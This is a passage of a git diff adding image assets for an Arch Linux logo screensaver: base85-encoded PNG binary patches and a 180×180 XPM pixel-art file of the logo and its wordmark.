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 literal 0 HcmV?d00001 diff --git a/xscreensaver-arch-logo/logo-180.xpm b/xscreensaver-arch-logo/logo-180.xpm new file mode 100644 index 0000000..d68f843 --- /dev/null +++ b/xscreensaver-arch-logo/logo-180.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_xpm[] = { +"180 180 17 1", +" c None", +". c #181A18", +"+ c #1F211E", +"@ c #262826", +"# c #2D2E2C", +"$ c #343633", +"% c #3B3C3A", +"& c #414340", +"* c #515250", +"= c #05AAD2", +"- c #00B3D9", +"; c #07BEE9", +"> c #2EBBDD", +", c #46C1DE", +"' c #48C9E9", +") c #68CDE6", +"! c #81D6E9", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" )! ", +" -- ", +" =- ", +" ,==) ", +" -==> ", +" )===-) ", +" -====> ", +" =====> ", +" )=====-) ", +" ======-> ", +" '=======-) ", +" -=======-> ", +" -=======-> ", +" >=========>, ", +" ==========>> ", +" ,==========->, ", +" -===========>> ", +" -==-========>>, ", +" ,=-======-===->> ", +" ==-===========>>) ", +" >----==========->> ", +" -=-=-===-===-==->>' ", +" ,-----------=-=-=>>, ", +" >---==--=-===--=-->> ", +" )-----------=--=--->>, ", +" ------==---=-=---==>>>! ", +" -------==-----=----->>, ", +" ,-----------------=-->>, ", +" >--------------==-=-=-,>' ", +" >--------------------->>> ", +" ->-------------------->>, ", +" !>>---->-------------->,, ", +" >->->--------------->,,) ", +" ), >-->>>->-=---------->,> ", +" >>> >->>>>>->->-------->,,, ", +" >>>>>, >>>>--->->>-----=-->,, ", +" ,>>>>>>> ,>>>>>>>>->-->>>-->,,) ", +" )>>>>>>>>> )>>>>>>>->--->>>->>,, ", +" >>>>>>>>>>>, >>>>>>>>->>--->>>,,, ", +" ,>>>>>>>>>>>>>> ,>>>>>>>>----->->,, ", +" ,>>>>>>>>>>>>>>>,)>>>>>>>>>>>>>>->,,) ", +" )>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,,) ", +" '>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" ,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" )>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,) ", +" ,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,, ", +" ,>,>>,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>, ", +" )>,,>>>>,>>>,>>>>>>>--==============-->>>>>>,, ", +" ,,,,,,>>>,>>>,>>-========================->>>,) ", +" ,,,,,,,,,>,>>>-==============================->, ", +" ,>>,,,,,,>>>===================================>) ", +" ',,>,,,,,>-======================================>! ", +" ,>,>,,>>-========================================-> ", +" ,,>,,,>-===========================================> ", +" ,,,>>>==============================================, ", +" ),,,>-================================================ ", +" !>,>===================================================- ", +" ,>-===================================================== ", +" -========================, '=========================> ", +" >=======================> >-=======================) ", +" ,=======================) )======================== ", +" =======================) )-======================> ", +" ,======================> ,======================- ", +" ======================> >======================) ", +" >====================== -====================== ", +" ======================> ,======================- ", +" -======================) ======================= ", +" ======================- >======================, ", +" -======================) ======================= ", +" >======================= =======================> ", +" -======================- ,======================= ", +" ,=======================> =======================> ", +" ========================= ========================, ", +" >========================= ==============))--======> ", +" =========================- ===============> ,-====) ", +" -=========================> =================> )===- ", +" ,==========================, ==================-> ,=> ", +" >==========================, ====================> > ", +" '===========================> =====================-, ", +" ============================> =======================> ", +" >============================= ========================-' ", +" -============================= ==========================, ", +" '=============================> ===========================> ", +" !==============================> ============================> ", +" -==========================>=,! !,=>=========================- ", +" ========================> >-======================= ", +" >====================->) ,--====================> ", +" ,===================> >===================, ", +" -================>> >>================= ", +" )===============> >===============) ", +" -============-- --============- ", +" >============) )============> ", +" -==========> --========== ", +" >========- )-========> ", +" ========> >======== ", +" >=====-' ,-=====> ", +" =====> >===== ", +" >===> >===- ", +" )==> -==! ", +" =>, >- ", +" ) ) ", +" ", +" * ! ", +" &$#@ ';; ; ", +" $##### ;;; ;;' ", +" $##### ;;; '' ", +" $##### ';; ", +" $##### ';; ", +" $##### ';; ", +" $##### ';; ", +" *&%%%&%%%&* *** $##### ';; ", +" *&%%%%%%%%%%%&* **&$$& &&$$$#& *&$####$&* $##### **&** ';; ", +" &%&%%%%%%%%%%%%% $$$$$& %$$$$$$ &$$############& $###$ $##@@@@@@##@ ';; ) ); !;;;;;;;;! ) ", +" %%%%%%%%%%%%%%%%% $$$$$& %$$$$$$& %################& $### $###@@#@@@@@@@* ';; ;; ';; );>>>>>>>>>' )>; '>' , ! ", +" *%%%%%%%%%%%%%%%%%& $$$$$$%$$$$$$$ *$$$$################ $## $######@#@@@@@@@@% ';; ;; ';; ;;;;') ));>>;; );> >>' ,>, ,>, ", +" &%%%&&&%%%&%%%%%%%% $$$$$$$$$$$$$& $$$##$##############% $@&%@#####@###@@@@@@@@$ ';; ;; ';; ';;) );>>' )>; >>' >>' ,>! ", +" &&* &%%%%%% $$$$$$$$$$&* &$$$$######$$$######& $#######@& &@@@@@@+% ';; ;; ';;);' ;>; )>; >>' )>>' !>>, ", +" %%%%%%* $$$$$$$$% #$$$###$$* *$##$ $######$ &@@@@@@# ';; ;; ';;;' ;> );> >>, '>>) ,>, ", +" *&%&&&%& *%%%%$* $$$$$$$% &$$$$$$$* *$ $###### $@@@@@# ';; ;; ';;; ;>) )>; >>, ,>, )>, ", +" *&%%%%%%%%%**%%%%$* $$$$$$$ $$$$##$* $####@* @@@@@# ';; ;; '>; '>' )>> >>, !>>, >>, ", +" &%%%%%%%%%%%%%%%%%$* $$$$$$* $$$$$#& $##### @@@@@# ';; ;; '=- >-' );; >>, >>) >>, ", +" &%%%%%%%$$$$%$$$$$$$* $$$$$$ $$$#$$ $##### @@@@@# ';; -=! >== >=- ,== >>, ,>>!'>, ", +" $#@@+++.........+++@@& $$$$$$ $$$### #@@@## @@@@+# ';; ==! >== >=- ,== >>, ,>>>>) ", +" ++++++++%**&++++++++.$ +@##$$ #@++.+ +....+ @@@@@# -== ==! >=- >=- ,== >>, ,>>, ", +"#++++++% #++++++% .+++++ .....@ +..... +....+ -== ==! >== >=- ,== -=- >==, ", +"@+++++* ++++++% ++++++ +++..@ +..... ...... -== ==! ,== >=- ,== ==- ,====! ", +"@@@@@$ #+++++% ++++++ ++++++ +..... ...... -== ==! >== >=- ,== -=- ==--=- ", +"#@@@@& %+@+++& ++++++ @+++++& +..... .....+ -== ==! ,== >=- ,== -=- -== ==, ", +"###### $@@@@@& ++++++ @++++++ @..... .....+ -== ==! ,== >=- ,== ==- ,==> >==) ", +"$#####$ #@@@@@& @@@@@@ *++++++@ +# @+++++ .....+ -== ==! ,== >== ,== ==- >==> >=- ", +"*######$ ######@& @@@@@@ $++++++@& @++ @+++++ +....+ -== ==! ,== >=- ,== ,==- -=- ==> ", +" $######$$**$######$&@& ###### @@@@@++@@#%&$#@+++++@ #+++++ +....+ -== ==! ,== >=- '==> !===- >==> ,==> ", +" &#$$#############% ##* ###### %@@@@@@@@@++++++++++@ #+++++ ++++++ -== ==! ,== >== === ====- ,==> >== ", +" %$$$$$$$$$#####% *##* ###### *@@@@@@@@@@@@@@@+++# #+++++ +++++@ -== ==! ,== >== -==- )=='==- ==> ==- ", +" &$$$$$$$$$$$$% ###* ###### &$@#####@@@@@@@@#% $+@@++ +++++@ -== ==! ,== >== >===- >==> -=- -== '==- ", +" $$$$$$$$$$* $$$#* ###### *#@########@@% $@@@++ @++++# -== ==! ,== >== )====-==-====- -=- >==, ,==)", +" *&%&&%%& *%&&* %%&* *$$$$$$$#$ %$##$* #####& >-> >- '>> >-- -========-> --> )-> -=)", +" )>->>' ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/logo-50.png b/xscreensaver-arch-logo/logo-50.png new file mode 100644 index 0000000000000000000000000000000000000000..373f3b8104140319b2a847f1755a93c9665ce93a GIT binary patch literal 3037 zcmV<33nKK1P)3tCA;K~!ko)mnLQRn-~)edpeH-%EJe*a88JBoGi20u@C>+OQ}~ zDS{(JZD(*=938}&)=H=T(XrF1VXe+2kI5KaP<}c*nCA*(F>|YKO$PuZH2lzyNYHsXx)CQVu;vOhBHCLz>CWqA<}Wmjpn)Cij(Nlgq;d2Yz>eFl24&?z7EN zT`F2<%$74;LMUqO!NJxZv>Os&hGa&4 zw}Fg*SANi+;FD5j>HnD(uTjvtAmFT9U)!HR1c4c)OELfei^n+E0YHjfZHUh=yBa3g z1UV42kRE>ZFUzD z$c^~?vM&efF6;l(IAKu!HFIAzluupl^NVXo4Teq(W^#SEenK)5j$H0(SyNIkh8$%4 z_KM#!Ff&diXbMrOTek*EJK)WF+l~sBAV_9NFeDSwhS~7NqI9}pNmd-LpOU$!N;*{q z)8e(&@iqacBH&a7n!P4+ifj3XBw2c}F1y3zlaiVI+#~!4grpi}SIvX-(`ZOB!84QW*(V>ITnYec zo~zrGhz%Y86bN>?S>jtkMi!L6dD&-e2y=`6AtFeeSK7>=WPkyVKH z43=h4XV=*66=Tl2_098&Y6b^cEj3e69i2V>n6$^!Nqma8+6BR4GqWh&ADtL?Mtz z%0CSW$gwNlt{y4dH9@Hfs`!yj_<=M*xacu?$)UQZZV2RsQ|E;}upj}mO~y`#5YPmm z1*I|hy&D24xnfvBuI)m=AqX}C*@b{z@%Oj-OgwVr+@sgEPo6y9kX-FHSYb(kzy*(i 